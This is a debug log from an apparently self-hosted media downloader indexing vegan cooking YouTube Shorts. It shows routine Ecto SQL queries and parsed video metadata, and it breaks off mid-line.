[debug] QUERY OK source="media_items" db=1.5ms idle=1009.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["That's right, we jam packed all that epic goodness into a grilled cheese - did we mention it's VEGAN and GLUTEN-FREE?! \n\nIf you want to see all the others we came up with, definitely watch the FULL VIDEO of our Cheat Day Challenge below!\nhttps://youtu.be/2PBpb8LJWwE", "Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯", "c13450e2-65c4-45f9-ae56-f7614d3cb2ad", 1, [], 17, false, "VsxQvoWHSHU", "https://www.youtube.com/shorts/VsxQvoWHSHU", 471, "/downloads/downloads/alec/Steamy Vegan/2022-05-05 Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯/Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯 [VsxQvoWHSHU].NA", false, false, true, 0, ~U[2022-05-05 15:59:25Z], ~U[2026-03-22 03:30:43Z], ~U[2026-03-22 03:30:43Z], "That's right, we jam packed all that epic goodness into a grilled cheese - did we mention it's VEGAN and GLUTEN-FREE?! \n\nIf you want to see all the others we came up with, definitely watch the FULL VIDEO of our Cheat Day Challenge below!\nhttps://youtu.be/2PBpb8LJWwE", "Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯", 1, 17, false, "VsxQvoWHSHU", "https://www.youtube.com/shorts/VsxQvoWHSHU", "/downloads/downloads/alec/Steamy Vegan/2022-05-05 Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯/Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯 [VsxQvoWHSHU].NA", true, ~U[2022-05-05 15:59:25Z]] 20:30:43.520 [debug] QUERY OK source="sources" db=0.5ms queue=0.3ms idle=820.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:43.521 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.4ms idle=8.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:43.522 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=8.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [860] 20:30:43.522 [debug] Current batch of media processed. Will check again in 1000ms 20:30:44.523 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We all like to party but some of us don't party hard over the fear of the dreaded hangover the next day. Don't worry, we've got you covered with the best hangover foods to eliminate that hangover the next day.\n\nCOMING SOON! Subscribe to be the first to see this upcoming video!", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-04 Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts/Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts [tJ-ZX1ZUAqM].NA", "id" => "tJ-ZX1ZUAqM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/tJ-ZX1ZUAqM", "playlist_index" => 472, "timestamp" => 1651679825, "title" => "Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts", "upload_date" => "20220504"} 20:30:44.524 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:44.526 [debug] QUERY OK source="sources" db=0.9ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:44.529 [debug] QUERY OK source="media_items" db=2.5ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-04 15:57:05Z], 1] 20:30:44.530 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We all like to party but some of us don't party hard over the fear of the dreaded hangover the next day. Don't worry, we've got you covered with the best hangover foods to eliminate that hangover the next day.\n\nCOMING SOON! Subscribe to be the first to see this upcoming video!", "Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts", "483de27b-7b74-4713-9d57-829eb7b9ba41", 1, [], 11, false, "tJ-ZX1ZUAqM", "https://www.youtube.com/shorts/tJ-ZX1ZUAqM", 472, "/downloads/downloads/alec/Steamy Vegan/2022-05-04 Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts/Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts [tJ-ZX1ZUAqM].NA", false, false, true, 0, ~U[2022-05-04 15:57:05Z], ~U[2026-03-22 03:30:44Z], ~U[2026-03-22 03:30:44Z], "We all like to party but some of us don't party hard over the fear of the dreaded hangover the next day. Don't worry, we've got you covered with the best hangover foods to eliminate that hangover the next day.\n\nCOMING SOON! Subscribe to be the first to see this upcoming video!", "Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts", 1, 11, false, "tJ-ZX1ZUAqM", "https://www.youtube.com/shorts/tJ-ZX1ZUAqM", "/downloads/downloads/alec/Steamy Vegan/2022-05-04 Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts/Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts [tJ-ZX1ZUAqM].NA", true, ~U[2022-05-04 15:57:05Z]] 20:30:44.531 [debug] QUERY OK source="sources" db=0.4ms idle=828.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:44.532 [debug] QUERY OK source="media_profiles" db=1.0ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:44.533 [debug] QUERY OK source="media_items" db=0.6ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [861] 20:30:44.533 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Who doesn't love donuts just as much as Homer Simpson from The Simpsons. Whenever we go on a road trip we always bring these vegan gluten free donuts from Cartems donuts to summon our inner Homer Simpson. They are the most epic vegan gluten free donuts we've ever tried.\n\nCheck out our full road trip to Bowen Island, donuts included here: https://youtu.be/nu4z1cbo8QQ", "duration" => 34, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-03 Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts/Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts [q5-dgED-H0I].NA", "id" => "q5-dgED-H0I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/q5-dgED-H0I", "playlist_index" => 473, "timestamp" => 1651602333, "title" => "Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts", "upload_date" => "20220503"} 20:30:44.535 [debug] QUERY OK source="sources" db=1.3ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:44.535 [debug] QUERY OK source="sources" db=0.3ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:44.539 [debug] QUERY OK source="media_items" db=2.6ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-03 18:25:33Z], 1] 20:30:44.541 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Who doesn't love donuts just as much as Homer Simpson from The Simpsons. Whenever we go on a road trip we always bring these vegan gluten free donuts from Cartems donuts to summon our inner Homer Simpson. They are the most epic vegan gluten free donuts we've ever tried.\n\nCheck out our full road trip to Bowen Island, donuts included here: https://youtu.be/nu4z1cbo8QQ", "Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts", "67f68914-a0fa-419e-9613-b190e2ef5d91", 1, [], 34, false, "q5-dgED-H0I", "https://www.youtube.com/shorts/q5-dgED-H0I", 473, "/downloads/downloads/alec/Steamy Vegan/2022-05-03 Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts/Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts [q5-dgED-H0I].NA", false, false, true, 1, ~U[2022-05-03 18:25:33Z], ~U[2026-03-22 03:30:44Z], ~U[2026-03-22 03:30:44Z], "Who doesn't love donuts just as much as Homer Simpson from The Simpsons. Whenever we go on a road trip we always bring these vegan gluten free donuts from Cartems donuts to summon our inner Homer Simpson. They are the most epic vegan gluten free donuts we've ever tried.\n\nCheck out our full road trip to Bowen Island, donuts included here: https://youtu.be/nu4z1cbo8QQ", "Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts", 1, 34, false, "q5-dgED-H0I", "https://www.youtube.com/shorts/q5-dgED-H0I", "/downloads/downloads/alec/Steamy Vegan/2022-05-03 Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts/Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts [q5-dgED-H0I].NA", true, ~U[2022-05-03 18:25:33Z]] 20:30:44.542 [debug] QUERY OK source="sources" db=0.7ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:44.543 [debug] QUERY OK source="media_profiles" db=0.7ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:44.544 [debug] QUERY OK source="media_items" db=0.5ms idle=7.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [862] 20:30:44.544 [debug] Current batch of media processed. Will check again in 1000ms 20:30:45.545 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "An enormously epic grilled cheese with the most iconic line ever from Steve Carell as Michael Scott in the American TV show The Office. The full episode has 4 epic, enormous, and mouth watering grilled cheeses that you won't be able to resist. \"That's what she said!\"\n\nWatch the full cheat day challenge episode here: https://youtu.be/2PBpb8LJWwE\n\nWebsite: SteamyVeganKitchen.com", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-03 What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts/What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts [f_RE7-IxM4g].NA", "id" => "f_RE7-IxM4g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/f_RE7-IxM4g", "playlist_index" => 474, "timestamp" => 1651572016, "title" => "What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts", "upload_date" => "20220503"} 20:30:45.546 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:45.547 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:45.549 [debug] QUERY OK source="media_items" db=2.5ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-03 10:00:16Z], 1] 20:30:45.551 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["An enormously epic grilled cheese with the most iconic line ever from Steve Carell as Michael Scott in the American TV show The Office. The full episode has 4 epic, enormous, and mouth watering grilled cheeses that you won't be able to resist. \"That's what she said!\"\n\nWatch the full cheat day challenge episode here: https://youtu.be/2PBpb8LJWwE\n\nWebsite: SteamyVeganKitchen.com", "What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts", "f042b00d-ea6c-44e5-a12f-443da877ed71", 1, [], 15, false, "f_RE7-IxM4g", "https://www.youtube.com/shorts/f_RE7-IxM4g", 474, "/downloads/downloads/alec/Steamy Vegan/2022-05-03 What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts/What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts [f_RE7-IxM4g].NA", false, false, true, 2, ~U[2022-05-03 10:00:16Z], ~U[2026-03-22 03:30:45Z], ~U[2026-03-22 03:30:45Z], "An enormously epic grilled cheese with the most iconic line ever from Steve Carell as Michael Scott in the American TV show The Office. The full episode has 4 epic, enormous, and mouth watering grilled cheeses that you won't be able to resist. \"That's what she said!\"\n\nWatch the full cheat day challenge episode here: https://youtu.be/2PBpb8LJWwE\n\nWebsite: SteamyVeganKitchen.com", "What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts", 1, 15, false, "f_RE7-IxM4g", "https://www.youtube.com/shorts/f_RE7-IxM4g", "/downloads/downloads/alec/Steamy Vegan/2022-05-03 What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts/What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts [f_RE7-IxM4g].NA", true, ~U[2022-05-03 10:00:16Z]] 20:30:45.552 [debug] QUERY OK source="sources" db=0.7ms idle=845.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:45.552 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:45.553 [debug] QUERY OK source="media_items" db=0.4ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [863] 20:30:45.553 [debug] Current batch of media processed. Will check again in 1000ms 20:30:45.555 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:46.554 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Everyone deserves to have a cheat day once per week, why not try these 4 grilled cheese sandwiches? Even better, you can make them vegan and gluten free to satisfy all your cravings and allergen needs. \n\nOn our channel 'Steamy Vegan Kitchen' we believe food should be fun, delicious, healthy and shared with the ones you love. Subscribe and enjoy some of our food adventures and recipes as we enjoy sharing our love for gluten free and vegan cooking.\n\nFull Video: https://youtu.be/2PBpb8LJWwE\n\nWebsite: SteamyVeganKitchen.com", "duration" => 57, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-02 Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts/Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts [0XV53k7Vv4Q].NA", "id" => "0XV53k7Vv4Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/0XV53k7Vv4Q", "playlist_index" => 475, "timestamp" => 1651534173, "title" => "Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts", "upload_date" => "20220502"} 20:30:46.556 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:46.557 [debug] QUERY OK source="sources" db=0.6ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:46.559 [debug] QUERY 